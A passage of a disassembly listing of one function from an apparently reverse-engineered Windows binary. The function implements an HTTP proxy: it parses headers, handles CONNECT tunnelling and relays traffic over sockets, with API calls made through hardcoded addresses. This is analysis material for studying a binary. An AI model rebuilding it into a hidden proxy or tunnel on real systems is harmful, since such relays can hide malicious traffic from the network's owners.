		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42866A
		mov	[esp+1Ch+arg_EC], 50h


loc_42866A:				; CODE XREF: sub_4282C0+1B0j
					; sub_4282C0+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292DD
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_445230 ; "\r\n"


loc_428731:				; CODE XREF: sub_4282C0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428755
		test	cl, cl
		jz	short loc_428751
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428755
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428731


loc_428751:				; CODE XREF: sub_4282C0+47Bj
		xor	eax, eax
		jmp	short loc_428759
; ---------------------------------------------------------------------------


loc_428755:				; CODE XREF: sub_4282C0+477j
					; sub_4282C0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_428759:				; CODE XREF: sub_4282C0+493j
		test	eax, eax
		jz	loc_428833
		mov	edi, dword_50FACC


loc_428767:				; CODE XREF: sub_4282C0+56Dj
		mov	esi, offset byte_446F70
		lea	eax, [esp+1Ch+arg_4478]


loc_428773:				; CODE XREF: sub_4282C0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428797
		test	cl, cl
		jz	short loc_428793
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428797
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428773


loc_428793:				; CODE XREF: sub_4282C0+4BDj
		xor	eax, eax
		jmp	short loc_42879B
; ---------------------------------------------------------------------------


loc_428797:				; CODE XREF: sub_4282C0+4B9j
					; sub_4282C0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42879B:				; CODE XREF: sub_4282C0+4D5j
		test	eax, eax
		jz	loc_428833
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429339
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_445230 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_4282C0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_4282C0+54Dj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_4282C0+549j
					; sub_4282C0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_4282C0+565j
		test	eax, eax
		jnz	loc_428767


loc_428833:				; CODE XREF: sub_4282C0+49Bj
					; sub_4282C0+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		push	offset asc_443C94 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_428887
		cmp	byte ptr [eax],	20h
		jnz	short loc_42886B


loc_428862:				; CODE XREF: sub_4282C0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428862


loc_42886B:				; CODE XREF: sub_4282C0+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42888E
; ---------------------------------------------------------------------------


loc_428887:				; CODE XREF: sub_4282C0+58Dj
					; sub_4282C0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42888E:				; CODE XREF: sub_4282C0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_428926
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42940D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_42934B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, ebx
		jz	loc_4293A8


loc_428926:				; CODE XREF: sub_4282C0+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_428FCE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428971
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_4289A4
; ---------------------------------------------------------------------------


loc_428971:				; CODE XREF: sub_4282C0+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_4289A4:				; CODE XREF: sub_4282C0+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_4293F2
		cmp	eax, ebx
		jz	loc_4293F2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42941F
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_445230 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428A6E:				; CODE XREF: sub_4282C0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428A92
		test	cl, cl
		jz	short loc_428A8E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428A92
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428A6E


loc_428A8E:				; CODE XREF: sub_4282C0+7B8j
		xor	eax, eax
		jmp	short loc_428A97
; ---------------------------------------------------------------------------


loc_428A92:				; CODE XREF: sub_4282C0+7B4j
					; sub_4282C0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428A97:				; CODE XREF: sub_4282C0+7D0j
		test	eax, eax
		jz	loc_428E19


loc_428A9F:				; CODE XREF: sub_4282C0+B48j
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428AAB:				; CODE XREF: sub_4282C0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		test	cl, cl
		jz	short loc_428ACF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AAB


loc_428ACF:				; CODE XREF: sub_4282C0+7F7j
		xor	eax, eax
		jmp	short loc_428AD8
; ---------------------------------------------------------------------------


loc_428AD3:				; CODE XREF: sub_4282C0+7F3j
					; sub_4282C0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428AD8:				; CODE XREF: sub_4282C0+811j
		test	eax, eax
		jz	loc_428E15
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428E10
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428BBA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428BBA:				; CODE XREF: sub_4282C0+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C49
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C49:				; CODE XREF: sub_4282C0+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE4
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428CE4:				; CODE XREF: sub_4282C0+9D3j
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428CF0:				; CODE XREF: sub_4282C0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		test	cl, cl
		jz	short loc_428D14
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428CF0


loc_428D14:				; CODE XREF: sub_4282C0+A3Cj
		xor	eax, eax
		jmp	short loc_428D1D
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_4282C0+A38j
					; sub_4282C0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D1D:				; CODE XREF: sub_4282C0+A56j
		test	eax, eax
		jz	loc_428DB9
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428D31:				; CODE XREF: sub_4282C0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		test	cl, cl
		jz	short loc_428D55
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D31


loc_428D55:				; CODE XREF: sub_4282C0+A7Dj
		xor	eax, eax
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D59:				; CODE XREF: sub_4282C0+A79j
					; sub_4282C0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D5E:				; CODE XREF: sub_4282C0+A97j
		test	eax, eax
		jz	short loc_428DB9
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_428DB9:				; CODE XREF: sub_4282C0+A5Fj
					; sub_4282C0+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428DD9:				; CODE XREF: sub_4282C0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		test	cl, cl
		jz	short loc_428DFD
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD9


loc_428DFD:				; CODE XREF: sub_4282C0+B25j
		xor	eax, eax
		jmp	short loc_428E06
; ---------------------------------------------------------------------------


loc_428E01:				; CODE XREF: sub_4282C0+B21j
					; sub_4282C0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E06:				; CODE XREF: sub_4282C0+B3Fj
		test	eax, eax
		jnz	loc_428A9F
		jmp	short loc_428E15
; ---------------------------------------------------------------------------


loc_428E10:				; CODE XREF: sub_4282C0+840j
		mov	[esp+58h+var_46], 1


loc_428E15:				; CODE XREF: sub_4282C0+81Aj
					; sub_4282C0+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428E19:				; CODE XREF: sub_4282C0+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428E41
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428E5D
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_4282C0+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428E5D:				; CODE XREF: sub_4282C0+B7Fj
		call	near ptr 71AB428Ah
		nop
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_428F8C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428F14


loc_428EC3:				; CODE XREF: sub_4282C0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428F14
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F14
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F14
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428EC3


loc_428F14:				; CODE XREF: sub_4282C0+C01j
					; sub_4282C0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428F5E


loc_428F1A:				; CODE XREF: sub_4282C0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F5E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F5E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428F1A


loc_428F5E:				; CODE XREF: sub_4282C0+C58j
					; sub_4282C0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_4291EF
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_4291F2
; ---------------------------------------------------------------------------


loc_428F8C:				; CODE XREF: sub_4282C0+BF7j
		mov	esi, dword_50FC90


loc_428F92:				; CODE XREF: sub_4282C0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_428F5E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428F5E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_428F92
; ---------------------------------------------------------------------------


loc_428FCE:				; CODE XREF: sub_4282C0+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_429040:				; CODE XREF: sub_4282C0+D8Bj
		cmp	[ecx], edx
		jz	short loc_42904D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_429040


loc_42904D:				; CODE XREF: sub_4282C0+D82j
		cmp	eax, 1
		jnz	short loc_429064
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429064:				; CODE XREF: sub_4282C0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436F60
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B1B4E851h, 83907168h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h,	333D7169h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h,	333D7169h
		dd 75000027h, 0E8016A0Dh, 23F8D1Eh, 0FE43E990h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4291EF:				; CODE XREF: sub_4282C0+CA6j
		or	esi, 0FFFFFFFFh


loc_4291F2:				; CODE XREF: sub_4282C0+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_429212
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_429212:				; CODE XREF: sub_4282C0+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429280:				; CODE XREF: sub_4282C0+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_4282F8


loc_42928C:				; CODE XREF: sub_4282C0+1074j
					; sub_4282C0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_4292A9
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_4292A9:				; CODE XREF: sub_4282C0+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_4292C4
		mov	ecx, [ebp+0BFh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi


loc_4292C4:				; CODE XREF: sub_4282C0+FEFj
					; sub_4282C0+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_4292DD:				; CODE XREF: sub_4282C0+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_4292EE:				; CODE XREF: sub_4282C0+3D7j
		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226


loc_4292FF:				; CODE XREF: sub_4282C0+191j
					; sub_4282C0+1AAj ...
